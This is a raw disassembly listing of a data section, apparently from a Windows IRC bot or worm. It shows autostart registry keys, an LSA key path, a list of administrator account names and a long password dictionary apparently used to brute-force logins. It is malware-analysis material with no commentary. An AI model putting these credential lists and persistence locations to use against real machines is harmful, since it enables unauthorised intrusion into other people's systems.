dword_42C2C8 dd 636C6574h, 36316D6Fh, 6C6C642Eh, 0 ; DATA XREF: sub_40211C+3Do
dword_42C2D8 dd 69706F54h, 534D2063h, 3352474Eh, 32h ; DATA XREF: sub_40B2B9+Bo
dword_42C2E8 dd 2D564646h, 0 ; DATA XREF: sub_413F42+12o
dd 474E534Dh, 2E323352h, 6D6F63h
dword_42C2FC dd 692B782Bh, 0 ; DATA XREF: sub_40CD3A+5C75o
dword_42C304 dd 46464623h, 0 ; DATA XREF: sub_40CD3A:loc_40FDEEo
; sub_40CD3A+4C74o ...
dword_42C30C dd 46464623h, 0 ; DATA XREF: sub_40CD3A+1D32o
dword_42C314 dd 46464623h, 0 ; DATA XREF: sub_40CD3A+1B84o
a78799 db '78799',0 ; DATA XREF: sub_40282F+9Ao
align 4
aDd db 'dd',0 ; DATA XREF: sub_40282F+95o
align 4
aDd_ db 'dd.',0 ; DATA XREF: sub_40282F+90o
off_42C32C dd offset a@room ; DATA XREF: sub_40CD3A+5B95r
; "*@room"
off_42C330 dd offset aMirc1_6_99 ; DATA XREF: sub_40CD3A+87Dr
; "mirc 1.6.99"
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
; DATA XREF: seg001:off_42BB04o
align 4
db 53h
aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 4
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_414500+28o
; sub_414826+28o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_414500+D4o
; sub_414826+D4o
align 10h
dd offset aAdministrator ; "Administrator"
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aStaff ; "staff"
dd offset aRoot ; "root"
dd offset aComputer ; "computer"
dd offset aOwner ; "owner"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aWwwadmin ; "wwwadmin"
dd offset aGuest_0 ; "guest"
dd offset aDefault ; "default"
dd offset aDatabase ; "database"
dd offset aDba ; "dba"
dd offset aOracle ; "oracle"
dd offset aDb2 ; "db2"
dd offset aUser_0 ; "USER"
align 8
off_42C438 dd offset byte_43B188 ; DATA XREF: sub_404EC7:loc_404F57r
; sub_404EC7+9Co
dd offset aAdministrato_1 ; "ADMINISTRATOR"
dd offset aAdministrator ; "Administrator"
dd offset aAdministrato_0 ; "administrator"
dd offset aFubar ; "fubar"
dd offset aBla ; "bla"
dd offset aGuest_1 ; "GUEST"
dd offset aRoot_0 ; "ROOT"
dd offset aRoot ; "root"
dd offset aAdmin_0 ; "ADMIN"
dd offset aPassword ; "PASSWORD"
dd offset aTemp ; "TEMP"
dd offset aShare_0 ; "SHARE"
dd offset aWrite ; "WRITE"
dd offset aFull_0 ; "FULL"
dd offset aLadeda ; "ladeda"
dd offset aBoth ; "BOTH"
dd offset aRead ; "READ"
dd offset aFiles ; "FILES"
dd offset aDemo ; "DEMO"
dd offset aOwner_0 ; "OWNER"
dd offset aOwner_1 ; "Owner"
dd offset aEdu ; "edu"
dd offset aTest ; "TEST"
dd offset aAccess ; "ACCESS"
dd offset aUser_0 ; "USER"
dd offset aBackup ; "BACKUP"
dd offset aSystem_0 ; "SYSTEM"
dd offset aServer_1 ; "SERVER"
dd offset aPepsi ; "pepsi"
dd offset aLocal ; "LOCAL"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aChangeme_0 ; "Changeme"
dd offset aTemp123 ; "temp123"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a654321 ; "654321"
dd offset a54321 ; "54321"
dd offset a111 ; "111"
dd offset a11111111 ; "11111111"
dd offset a88888888 ; "88888888"
dd offset aPass_0 ; "pass"
dd offset aPasswd ; "passwd"
dd offset aDatabase ; "database"
dd offset aAbcd ; "abcd"
dd offset aAbc123 ; "abc123"
dd offset aOracle ; "oracle"
dd offset aSybase ; "sybase"
dd offset a123qwe ; "123qwe"
dd offset aComputer ; "computer"
dd offset aInternet ; "Internet"
dd offset aSuper ; "super"
dd offset a123asd ; "123asd"
dd offset aIhavenopass ; "ihavenopass"
dd offset aGodblessyou ; "godblessyou"
dd offset aEnable ; "enable"
dd offset aXp_0 ; "xp"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2600 ; "2600"
dd offset a110 ; "110"
dd offset a111111 ; "111111"
dd offset a121212 ; "121212"
dd offset a123123 ; "123123"
dd offset a1234qwer ; "1234qwer"
dd offset a123abc ; "123abc"
dd offset a007 ; "007"
dd offset aAlpha ; "alpha"
dd offset aPatrick ; "patrick"
dd offset aPat ; "pat"
dd offset aSex_0 ; "sex"
dd offset aGod ; "god"
dd offset aFoobar ; "foobar"
dd offset aNilez ; "Nilez"
dd offset aDevil ; "devil"
dd offset aNetdevil ; "netdevil"
dd offset aNetDevil ; "net-devil"
dd offset a0wned ; "0wned"
dd offset aOwned ; "owned"
dd offset aIrule ; "irule"
dd offset aNetfuck ; "netfuck"
dd offset aFucked ; "fucked"
dd offset aCrash ; "crash"
dd offset aA_2 ; "a"
dd offset aAaa ; "aaa"
dd offset aAbc ; "abc"
dd offset aTest123 ; "test123"
dd offset aWin ; "win"
dd offset aPc ; "pc"
dd offset aAsdf ; "asdf"
dd offset aSecret ; "secret"
dd offset aQwer ; "qwer"
dd offset aYxcv ; "yxcv"
dd offset aZxcv ; "zxcv"
dd offset aHome ; "home"
dd offset aLogin ; "login"
dd offset aPwd ; "pwd"
dd offset aLove ; "love"
dd offset aMypc ; "mypc"
dd offset aMypc123 ; "mypc123"
dd offset aAdmin123 ; "admin123"
dd offset aPw123 ; "pw123"
dd offset aMypass ; "mypass"
dd offset aMypass123 ; "mypass123"
dd offset aPw ; "pw"
dd offset aMat ; "Mat"
dd offset aMatt ; "Matt"
dd offset aMatthew ; "Matthew"
dd offset aGobo ; "gobo"
dd offset aSatan ; "satan"
dd offset aSatanik ; "satanik"
dd offset aSatanic ; "satanic"
dd offset aSpaceman ; "spaceman"
dd offset aHeaven ; "heaven"
dd offset aW00t ; "w00t"
dd offset a0wn3d ; "0wn3d"
dd offset aKiller ; "killer"
dd offset aLeet ; "leet"
dd offset aL33t ; "l33t"
dd offset aL337 ; "l337"
dd offset aHacker ; "hacker"
dd offset aHax0r ; "hax0r"
dd offset aScript ; "script"
dd offset aScriptkiddie ; "scriptkiddie"
dd offset aKiddie ; "kiddie"
dd offset aMirc_0 ; "mirc"
dd offset aUwontguessme ; "uwontguessme"
dd offset aYouwontguessme ; "youwontguessme"
dd offset aGuessme ; "guessme"
dd offset asc_432D30 ; "x"
dd offset aXx ; "xx"
dd offset aXxx ; "xxx"
dd offset aXxxx ; "xxxx"
dd offset aXxxxx ; "xxxxx"
dd offset aXxxxxx ; "xxxxxx"
dd offset aXxxxxxx ; "xxxxxxx"
dd offset aXxxxxxxx ; "xxxxxxxx"
dd offset aXxxxxxxxx ; "xxxxxxxxx"
dd offset dword_42645C
dd offset a00 ; "00"
dd offset aDeath ; "death"
dd offset aTesting ; "testing"
dd offset a000 ; "000"
dd offset a0000 ; "0000"
dd offset a00000 ; "00000"
dd offset a000000 ; "000000"
dd offset aAcademia ; "academia"
dd offset aAcademic ; "academic"
dd offset aAccept ; "accept"
dd offset aAccount ; "account"
dd offset aAction ; "action"
dd offset aAdam ; "adam"
dd offset aAdrian ; "adrian"
dd offset aAdrianna ; "adrianna"
dd offset aAdult ; "adult"
dd offset aAerobics ; "aerobics"
dd offset aAids ; "aids"
dd offset aAirplane ; "airplane"
dd offset aAlaska ; "alaska"
dd offset aAlbany ; "albany"
dd offset aAlbatros ; "albatros"
dd offset aAlbert ; "albert"
dd offset aAlert ; "alert"
dd offset aAlex ; "alex"
dd offset aAlexande ; "alexande"
dd offset aAlgebra ; "algebra"
dd offset aAlias ; "alias"
dd offset aAliases ; "aliases"
dd offset aAlice ; "alice"
dd offset aAlicia ; "alicia"
dd offset aAlisa ; "alisa"
dd offset aAlison ; "alison"
dd offset aAllison ; "allison"
dd offset aAllow ; "allow"
dd offset aAlphabet ; "alphabet"
dd offset aAmadeus ; "amadeus"
dd offset aAmanda ; "amanda"
dd offset aAmber ; "amber"
dd offset aAmerica ; "america"
dd offset aAmorphou ; "amorphou"
dd offset aAnal ; "anal"
dd offset aAnalog ; "analog"
dd offset aAnarchis ; "anarchis"
dd offset aAnarchy ; "anarchy"
dd offset aAnchor ; "anchor"
dd offset aAndrea ; "andrea"
dd offset aAndroid ; "android"
dd offset aAndromac ; "andromac"
dd offset aAndy ; "andy"
dd offset aAnfo ; "anfo"
dd offset aAngela ; "angela"
dd offset aAngerine ; "angerine"
dd offset aAngie ; "angie"
dd offset aAnimal ; "animal"
dd offset aAnimals ; "animals"
dd offset aAnita ; "anita"
dd offset aAnna ; "anna"
dd offset aAnne ; "anne"
dd offset aAnnette ; "annette"
dd offset aAnon ; "anon"
dd offset aAnonymou ; "anonymou"
dd offset aAnswer ; "answer"
dd offset aAnthrax ; "anthrax"
dd offset aAnthropo ; "anthropo"
dd offset aAnvils ; "anvils"
dd offset aAnything ; "anything"
dd offset aApollo13 ; "apollo13"
dd offset aApril ; "april"
dd offset aAria ; "aria"
dd offset aAriadne ; "ariadne"
dd offset aArlene ; "arlene"
dd offset aArmy ; "army"
dd offset aArrow ; "arrow"
dd offset aArthur ; "arthur"
dd offset aArtist ; "artist"
dd offset aAsian ; "asian"
dd offset aAsshole ; "asshole"
dd offset aAthena ; "athena"
dd offset aAtmosphe ; "atmosphe"
dd offset aAtom ; "atom"
dd offset aAttack ; "attack"
dd offset aAuthoriz ; "authoriz"
dd offset aAztecs ; "aztecs"
dd offset aAzure ; "azure"
dd offset aBabe ; "babe"
dd offset aBaby ; "baby"
dd offset aBacchus ; "bacchus"
dd offset aBackdoor ; "backdoor"
dd offset aBadass ; "badass"
dd offset aBailey ; "bailey"
dd offset aBall ; "ball"
dd offset aBanana ; "banana"
dd offset aBananas ; "bananas"
dd offset aBandit ; "bandit"
dd offset aBank ; "bank"
dd offset aBanks ; "banks"
dd offset aBarbara ; "barbara"
dd offset aBarber ; "barber"
dd offset aBare ; "bare"
dd offset aBarf ; "barf"
dd offset aBaritone ; "baritone"
dd offset aBart ; "bart"
dd offset aBartman ; "bartman"
dd offset aBaseball ; "baseball"
dd offset aBasic ; "basic"
dd offset aBass ; "bass"
dd offset aBassoon ; "bassoon"
dd offset aBatch ; "batch"
dd offset aBatman ; "batman"
dd offset aBeach ; "beach"
dd offset aBeammeup ; "beammeup"
dd offset aBear ; "bear"
dd offset aBeast ; "beast"
dd offset aBeater ; "beater"
dd offset aBeauty ; "beauty"
dd offset aBeaver ; "beaver"
dd offset aBecky ; "becky"
dd offset aBeethove ; "beethove"
dd offset aBegin ; "begin"
dd offset aBehead ; "behead"
dd offset aBell ; "bell"
dd offset aBeloved ; "beloved"
dd offset aBenz ; "benz"
dd offset aBeowulf ; "beowulf"
dd offset aBerkeley ; "berkeley"
dd offset aBerlin ; "berlin"
dd offset aBerliner ; "berliner"
dd offset aBeryl ; "beryl"
dd offset aBeta ; "beta"
dd offset aBeth ; "beth"
dd offset aBetsie ; "betsie"
dd offset aBetty ; "betty"
dd offset aBeverly ; "beverly"
dd offset aBible ; "bible"
dd offset aBicamera ; "bicamera"
dd offset aBigfoot ; "bigfoot"
dd offset aBill ; "bill"
dd offset aBinary ; "binary"
dd offset aBios ; "bios"
dd offset aBird ; "bird"
dd offset aBishop ; "bishop"
dd offset aBitch ; "bitch"
dd offset aBitmap ; "bitmap"
dd offset aBitnet ; "bitnet"
dd offset aBlack ; "black"
dd offset aBlonde ; "blonde"
dd offset aBlondie ; "blondie"
dd offset aBlood ; "blood"
dd offset aBloodaxe ; "bloodaxe"
dd offset aBlow ; "blow"
dd offset aBlowjob ; "blowjob"
dd offset aBlue ; "blue"
dd offset aBlues ; "blues"
dd offset aBoard ; "board"
dd offset aBomb ; "bomb"
dd offset aBoner ; "boner"
dd offset aBoob ; "boob"
dd offset aBoobs ; "boobs"
dd offset aBook ; "book"
dd offset aBorn ; "born"
dd offset aBoyscout ; "boyscout"
dd offset aBradley ; "bradley"
dd offset aBrandi ; "brandi"
dd offset aBrandy ; "brandy"
dd offset aBravo ; "bravo"
dd offset aBreak ; "break"
dd offset aBreast ; "breast"
dd offset aBrenda ; "brenda"
dd offset aBrian ; "brian"
dd offset aBridget ; "bridget"
dd offset aBroadway ; "broadway"
dd offset aBrothel ; "brothel"
dd offset aBrunette ; "brunette"
dd offset aBrute ; "brute"
dd offset aBrutefor ; "brutefor"
dd offset aBulls ; "bulls"
dd offset aBullshit ; "bullshit"
dd offset aBumbling ; "bumbling"
dd offset aBung ; "bung"
dd offset aBurgess ; "burgess"
dd offset aBurn ; "burn"
dd offset aButch ; "butch"
dd offset aButt ; "butt"
dd offset aButthead ; "butthead"
dd offset aCaliforn ; "californ"
dd offset aCamille ; "camille"
dd offset aCampanil ; "campanil"
dd offset aCamping ; "camping"
dd offset aCandi ; "candi"
dd offset aCandy ; "candy"
dd offset aCantor ; "cantor"
dd offset aCaptain ; "captain"
dd offset aCapture ; "capture"
dd offset aCard ; "card"
dd offset aCardinal ; "cardinal"
dd offset aCaren ; "caren"
dd offset aCarla ; "carla"
dd offset aCarmen ; "carmen"
dd offset aCarol ; "carol"
dd offset aCarole ; "carole"
dd offset aCarolina ; "carolina"
dd offset aCaroline ; "caroline"
dd offset aCarrie ; "carrie"
dd offset aCarson ; "carson"
dd offset aCascades ; "cascades"
dd offset aCash ; "cash"
dd offset aCastle ; "castle"
dd offset aCatherin ; "catherin"
dd offset aCatholic ; "catholic"
dd offset aCathy ; "cathy"
dd offset aCave ; "cave"
dd offset aCayuga ; "cayuga"
dd offset aCecily ; "cecily"
dd offset aCelt ; "celt"
dd offset aCeltic ; "celtic"
dd offset aCeltics ; "celtics"
dd offset aCerulean ; "cerulean"
dd offset aChange ; "change"
dd offset aCharity ; "charity"
dd offset aCharles ; "charles"
dd offset aCharlie ; "charlie"
dd offset aCharming ; "charming"
dd offset aCharon ; "charon"
dd offset aChat_0 ; "chat"
dd offset aChem ; "chem"
dd offset aChemistr ; "chemistr"
dd offset aChess ; "chess"
dd offset aChester ; "chester"
dd offset aChip ; "chip"
dd offset aChris ; "chris"
dd offset aChristin ; "christin"
dd offset aChristy ; "christy"
dd offset aCigar ; "cigar"
dd offset aCigarett ; "cigarett"
dd offset aCindy ; "cindy"
dd offset aClass ; "class"
dd offset aClasses ; "classes"
dd offset aClassic ; "classic"
dd offset aClaudia ; "claudia"
dd offset aClaymore ; "claymore"
dd offset aCleavage ; "cleavage"
dd offset aClinton ; "clinton"
dd offset aCluster ; "cluster"
dd offset aClusters ; "clusters"
dd offset aCoast ; "coast"
dd offset aCocacola ; "cocacola"
dd offset aCocainco ; "cocainco"
dd offset aCock ; "cock"
dd offset aCode ; "code"
dd offset aCodename ; "codename"
dd offset aCodeword ; "codeword"
dd offset aCoffee ; "coffee"
dd offset aCoin ; "coin"
dd offset aCoke ; "coke"
dd offset aCola ; "cola"
dd offset aCold ; "cold"
dd offset aCollins ; "collins"
dd offset aColor ; "color"
dd offset aCombat ; "combat"
dd offset aComics ; "comics"
dd offset aCommit ; "commit"
dd offset aCommrade ; "commrade"
dd offset aCompany ; "company"
dd offset aComputin ; "computin"
dd offset aComrade ; "comrade"
dd offset aComrades ; "comrades"
dd offset aCondo ; "condo"
dd offset aCondom ; "condom"
dd offset aConnect ; "connect"
dd offset aConnie ; "connie"
dd offset aConserva ; "conserva"
dd offset aConsole ; "console"
dd offset aContinue ; "continue"
dd offset aCook ; "cook"
dd offset aCookbook ; "cookbook"
dd offset aCookie ; "cookie"
dd offset aCool ; "cool"
dd offset aCooper ; "cooper"
dd offset aCopper ; "copper"
dd offset aCops ; "cops"
dd offset aCopy ; "copy"
dd offset aCorneliu ; "corneliu"
dd offset aCorrect ; "correct"
dd offset aCounters ; "counters"
dd offset aCountry ; "country"
dd offset aCouscous ; "couscous"
dd offset aCowboy ; "cowboy"
dd offset aCrack ; "crack"
dd offset aCrackpot ; "crackpot"
dd offset aCream ; "cream"
dd offset aCreate ; "create"
dd offset aCreation ; "creation"
dd offset aCreature ; "creature"
dd offset aCredit ; "credit"
dd offset aCreosote ; "creosote"
dd offset aCretin ; "cretin"
dd offset aCrime ; "crime"
dd offset aCriminal ; "criminal"
dd offset aCristina ; "cristina"
dd offset aCrystal ; "crystal"
dd offset aCshrc ; "cshrc"
dd offset aCunt ; "cunt"
dd offset aCustomer ; "customer"
dd offset aCyber ; "cyber"
dd offset aCyberpun ; "cyberpun"
dd offset aCyberspa ; "cyberspa"
dd offset aCynthia ; "cynthia"
dd offset aDaemon ; "daemon"
dd offset aDaisy ; "daisy"
dd offset aDana ; "dana"
dd offset aDancer ; "dancer"
dd offset aDaniel ; "daniel"
dd offset aDanielle ; "danielle"
dd offset aDanny ; "danny"
dd offset aDapper ; "dapper"
dd offset aDark ; "dark"
dd offset aDarkaven ; "darkaven"
dd offset aData ; "data"
dd offset aDave ; "dave"
dd offset aDawn ; "dawn"
dd offset aDead ; "dead"
dd offset aDeathsta ; "deathsta"
dd offset aDebbie ; "debbie"
dd offset aDeborah ; "deborah"
dd offset aDebug ; "debug"
dd offset aDecember ; "december"
dd offset aDeck ; "deck"
dd offset aDefault ; "default"
dd offset aDefault_0 ; "DEFAULT"
dd offset aDefoe ; "defoe"
dd offset aDelta ; "delta"
dd offset aDeluge ; "deluge"
dd offset aDemocrat ; "democrat"
dd offset aDenise ; "denise"
dd offset aDennis ; "dennis"
dd offset aDesiree ; "desiree"
dd offset aDesk ; "desk"
dd offset aDesktop ; "desktop"
dd offset aDesperat ; "desperat"
dd offset aDevelop ; "develop"
dd offset aDevice ; "device"
dd offset aDial ; "dial"
dd offset aDiamond ; "diamond"
dd offset aDiana ; "diana"
dd offset aDiane ; "diane"
dd offset aDice ; "dice"
dd offset aDick ; "dick"
dd offset aDiehard ; "diehard"
dd offset aDiet ; "diet"
dd offset aDieter ; "dieter"
dd offset aDigital ; "digital"
dd offset aDinosaur ; "dinosaur"
dd offset aDipshit ; "dipshit"
dd offset aDirect ; "direct"
dd offset aDirector ; "director"
dd offset aDirty ; "dirty"
dd offset aDisc ; "disc"
dd offset aDiscipli ; "discipli"
dd offset aDisclose ; "disclose"
dd offset aDiscover ; "discover"
dd offset aDisk_0 ; "disk"
dd offset aDiskette ; "diskette"
dd offset aDisney ; "disney"
dd offset aDisplay ; "display"
dd offset aDoctor ; "doctor"
dd offset aDollar ; "dollar"
dd offset aDong ; "dong"
dd offset aDoom ; "doom"
dd offset aDoom2 ; "doom2"
dd offset aDoomii ; "doomii"
dd offset aDoomsday ; "doomsday"
dd offset aDoonesbu ; "doonesbu"
dd offset aDoor ; "door"
dd offset aDoors ; "doors"
dd offset aDope ; "dope"
dd offset aDownload ; "download"
dd offset aDragon ; "dragon"
dd offset aDrdoom ; "drdoom"
dd offset aDrive ; "drive"
dd offset aDrought ; "drought"
dd offset aDuck ; "duck"
dd offset aDude ; "dude"
dd offset aDuelist ; "duelist"
dd offset aDuke ; "duke"
dd offset aDulce ; "dulce"
dd offset aDuncan ; "duncan"
dd offset aDungeon ; "dungeon"
dd offset aDyke ; "dyke"
dd offset aEager ; "eager"
dd offset aEagle ; "eagle"
dd offset aEarth ; "earth"
dd offset aEasier ; "easier"
dd offset aEasy ; "easy"
dd offset aEatme ; "eatme"
dd offset aEcho ; "echo"
dd offset aEddie ; "eddie"
dd offset aEdges ; "edges"
dd offset aEdinburg ; "edinburg"
dd offset aEdit ; "edit"
dd offset aEdition ; "edition"
dd offset aEducation ; "education"
dd offset aEducatio ; "educatio"
dd offset aEdwin ; "edwin"
dd offset aEdwina ; "edwina"
dd offset aEgghead ; "egghead"
dd offset aEiderdow ; "eiderdow"
dd offset aEileen ; "eileen"
dd offset aEinsiein ; "einsiein"
dd offset aEinstein ; "einstein"
dd offset aElaine ; "elaine"
dd offset aElanor ; "elanor"
dd offset aElectron ; "electron"
dd offset aElephant ; "elephant"
dd offset aElizabet ; "elizabet"
dd offset aEllen ; "ellen"
dd offset aEmail ; "email"
dd offset aEmerald ; "emerald"
dd offset aEmily ; "emily"
dd offset aEmmanuel ; "emmanuel"
dd offset aEnemy ; "enemy"
dd offset aEngine ; "engine"
dd offset aEngineer ; "engineer"
dd offset aEngland ; "england"
dd offset aEnglish ; "english"
dd offset aEnter ; "enter"
dd offset aEnterpri ; "enterpri"
dd offset aEnzyme ; "enzyme"
dd offset aErenity ; "erenity"
dd offset aEric ; "eric"
dd offset aErica ; "erica"
dd offset aErika ; "erika"
dd offset aErin ; "erin"
dd offset aErotic ; "erotic"
dd offset aErsatz ; "ersatz"
dd offset aEstablis ; "establis"
dd offset aEstate ; "estate"
dd offset aEternity ; "eternity"
dd offset aEuclid ; "euclid"
dd offset aEvelyn ; "evelyn"
dd offset aExpert ; "expert"
dd offset aExplode ; "explode"
dd offset aExplore ; "explore"
dd offset aExplorer ; "explorer"
dd offset aExplosiv ; "explosiv"
dd offset aExtensio ; "extensio"
dd offset aFairway ; "fairway"
dd offset aFaith ; "faith"
dd offset aFalcon ; "falcon"
dd offset aFalse ; "false"
dd offset aFamily ; "family"
dd offset aFarad ; "farad"
dd offset aFaraday ; "faraday"
dd offset aFart ; "fart"
dd offset aFast ; "fast"
dd offset aFear ; "fear"
dd offset aFeds ; "feds"
dd offset aFelicia ; "felicia"
dd offset aFender ; "fender"
dd offset aFermat ; "fermat"
dd offset aFerrari ; "ferrari"
dd offset aFidelity ; "fidelity"
dd offset aField ; "field"
dd offset aFight ; "fight"
dd offset aFile ; "file"
dd offset aFinite ; "finite"
dd offset aFire ; "fire"
dd offset aFirewall ; "firewall"
dd offset aFishers ; "fishers"
dd offset aFlakes ; "flakes"
dd offset aFloat ; "float"
dd offset aFlorida ; "florida"
dd offset aFlower ; "flower"
dd offset aFlowers ; "flowers"
dd offset aFood ; "food"
dd offset aFool ; "fool"
dd offset aFoolproo ; "foolproo"
dd offset aFootball ; "football"
dd offset aForce ; "force"
dd offset aFord ; "ford"
dd offset aForesigh ; "foresigh"
dd offset aForever ; "forever"
dd offset aForm ; "form"
dd offset aFormat ; "format"
dd offset aFornicat ; "fornicat"
dd offset aForsythe ; "forsythe"
dd offset aFourier ; "fourier"
dd offset aFoxtrot ; "foxtrot"
dd offset aFrance ; "france"
dd offset aFrank ; "frank"
dd offset aFreak ; "freak"
dd offset aFred ; "fred"
dd offset aFree ; "free"
dd offset aFreedom ; "freedom"
dd offset aFrench ; "french"
dd offset aFriday ; "friday"
dd offset aFriend ; "friend"
dd offset aFriends ; "friends"
dd offset aFrighten ; "frighten"
dd offset aFrog ; "frog"
dd offset aFryguy ; "fryguy"
dd offset aFuck ; "fuck"
dd offset aFucker ; "fucker"
dd offset aFucking ; "fucking"
dd offset aFuckme ; "fuckme"
dd offset aFuckyou ; "fuckyou"
dd offset aFudge ; "fudge"
dd offset aFunction ; "function"
dd offset aFungible ; "fungible"
dd offset aGabriel ; "gabriel"
dd offset aGames ; "games"
dd offset aGardner ; "gardner"
dd offset aGarfield ; "garfield"
dd offset aGateway ; "gateway"
dd offset aGatherin ; "gatherin"
dd offset aGatt ; "gatt"
dd offset aGauss ; "gauss"
dd offset aGeorge ; "george"
dd offset aGerm ; "germ"
dd offset aGertrude ; "gertrude"
dd offset aGhost ; "ghost"
dd offset aGibson ; "gibson"
dd offset aGigabyte ; "gigabyte"
dd offset aGina ; "gina"
dd offset aGinger ; "ginger"
dd offset aGirl ; "girl"
dd offset aGlacier ; "glacier"
dd offset aGold ; "gold"
dd offset aGolden ; "golden"
dd offset aGolf ; "golf"
dd offset aGolfer ; "golfer"
dd offset aGood ; "good"
dd offset aGorgeous ; "gorgeous"
dd offset aGorges ; "gorges"
dd offset aGosling ; "gosling"
dd offset aGouge ; "gouge"
dd offset aGovermen ; "govermen"
dd offset aGrades ; "grades"
dd offset aGraham ; "graham"
dd offset aGrahm ; "grahm"
dd offset aGrand ; "grand"
dd offset aGrant ; "grant"
dd offset aGreat ; "great"
dd offset aGreen ; "green"
dd offset aGroup ; "group"
dd offset aGryphon ; "gryphon"
dd offset aGuardian ; "guardian"
dd offset aGucci ; "gucci"
dd offset aGuess ; "guess"
dd offset aGuitar ; "guitar"
dd offset aGumption ; "gumption"
dd offset aGuntis ; "guntis"
dd offset aHack ; "hack"
dd offset aHacked ; "hacked"
dd offset aHagar ; "hagar"
dd offset aHair ; "hair"
dd offset aHallowee ; "hallowee"
dd offset aHamlet ; "hamlet"
dd offset aHamster ; "hamster"
dd offset aHandel ; "handel"
dd offset aHandily ; "handily"
dd offset aHandjob ; "handjob"
dd offset aHappenin ; "happenin"
dd offset aHard ; "hard"
dd offset aHardcore ; "hardcore"
dd offset aHarddriv ; "harddriv"
dd offset aHarmony ; "harmony"
dd offset aHarold ; "harold"
dd offset aHarvey ; "harvey"
dd offset aHate ; "hate"
dd offset aHaven ; "haven"
dd offset aHawaii ; "hawaii"
dd offset aHead ; "head"
dd offset aHeadbang ; "headbang"
dd offset aHeat ; "heat"
dd offset aHeathen ; "heathen"
dd offset aHeather ; "heather"
dd offset aHebrides ; "hebrides"
dd offset aHeidi ; "heidi"
dd offset aHeinlein ; "heinlein"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aHelp ; "help"
dd offset aHerb ; "herb"
dd offset aHerbert ; "herbert"
dd offset aHero ; "hero"
dd offset aHeroin ; "heroin"
dd offset aHewlett ; "hewlett"
dd offset aHexadeci ; "hexadeci"
dd offset aHiawatha ; "hiawatha"
dd offset aHibernia ; "hibernia"
dd offset aHidden ; "hidden"
dd offset aHigh ; "high"
dd offset aHighland ; "highland"
dd offset aHitler ; "hitler"
dd offset aHits ; "hits"
dd offset aHole ; "hole"
dd offset aHolly ; "holly"
dd offset aHollywoo ; "hollywoo"
dd offset aHomepage ; "homepage"
dd offset aHomer ; "homer"
dd offset aHomework ; "homework"
dd offset aHoney ; "honey"
dd offset aHooker ; "hooker"
dd offset aHooters ; "hooters"
dd offset aHorny ; "horny"
dd offset aHorrible ; "horrible"
dd offset aHorror ; "horror"
dd offset aHorse ; "horse"
dd offset aHorus ; "horus"
dd offset aHost ; "host"
dd offset aHotdog ; "hotdog"
dd offset aHotel ; "hotel"
dd offset aHttp_0 ; "http"
dd offset aHunt ; "hunt"
dd offset aHunter ; "hunter"
dd offset aHutchins ; "hutchins"
dd offset aHydrogen ; "hydrogen"
dd offset aHyper ; "hyper"
dd offset aHypertxt ; "hypertxt"
dd offset aIcecream ; "icecream"
dd offset aIllumina ; "illumina"
dd offset aImage ; "image"
dd offset aImbrogli ; "imbrogli"
dd offset aImmortal ; "immortal"
dd offset aImperial ; "imperial"
dd offset aInclude ; "include"
dd offset aIndia ; "india"
dd offset aIndian ; "indian"
dd offset aIndiana ; "indiana"
dd offset aIndians ; "indians"
dd offset aIngres ; "ingres"
dd offset aIngress ; "ingress"
dd offset aIngrid ; "ingrid"
dd offset aInna ; "inna"
dd offset aInnocuou ; "innocuou"
dd offset aInput ; "input"
dd offset aInside ; "inside"
dd offset aInteger ; "integer"
dd offset aInvent ; "invent"
dd offset aIrene ; "irene"
dd offset aIrishman ; "irishman"
dd offset aIsis ; "isis"
dd offset aJackie ; "jackie"
dd offset aJail ; "jail"
dd offset aJane ; "jane"
dd offset aJanet ; "janet"
dd offset aJanice ; "janice"
dd offset aJanie ; "janie"
dd offset aJapan ; "japan"
dd offset aJasmin ; "jasmin"
dd offset aJava ; "java"
dd offset aJazz ; "jazz"
dd offset aJean ; "jean"
dd offset aJeanne ; "jeanne"
dd offset aJeff ; "jeff"
dd offset aJenni ; "jenni"
dd offset aJennifer ; "jennifer"
dd offset aJenny ; "jenny"
dd offset aJerry ; "jerry"
dd offset aJerusale ; "jerusale"
dd offset aJessica ; "jessica"
dd offset aJester ; "jester"
dd offset aJewelry ; "jewelry"
dd offset aJill ; "jill"
dd offset aJixian ; "jixian"
dd offset aJoanne ; "joanne"
dd offset aJody ; "jody"
dd offset aJohn ; "john"
dd offset aJohndoe ; "johndoe"
dd offset aJohnny ; "johnny"
dd offset aJoseph ; "joseph"
dd offset aJoshua ; "joshua"
dd offset aJournal ; "journal"
dd offset aJoyce ; "joyce"
dd offset aJudith ; "judith"
dd offset aJudy ; "judy"
dd offset aJuggle ; "juggle"
dd offset aJuicy ; "juicy"
dd offset aJulia ; "julia"
dd offset aJulie ; "julie"
dd offset aJuliet ; "juliet"
dd offset aJune ; "june"
dd offset aJupiter ; "jupiter"
dd offset aKaka ; "kaka"
dd offset aKaren ; "karen"
dd offset aKarie ; "karie"
dd offset aKarina ; "karina"
dd offset aKatana ; "katana"
dd offset aKate ; "kate"
dd offset aKathleen ; "kathleen"
dd offset aKathrine ; "kathrine"
dd offset aKathy ; "kathy"
dd offset aKatina ; "katina"
dd offset aKatrina ; "katrina"
dd offset aKelly ; "kelly"
dd offset aKeri ; "keri"
dd offset aKermit ; "kermit"
dd offset aKernel ; "kernel"
dd offset aKerri ; "kerri"
dd offset aKerrie ; "kerrie"
dd offset aKerry ; "kerry"
dd offset aKevin ; "kevin"
dd offset aKewl ; "kewl"
dd offset aKeybord ; "keybord"
dd offset aKeyin ; "keyin"
dd offset aKeyword ; "keyword"
dd offset aKids ; "kids"
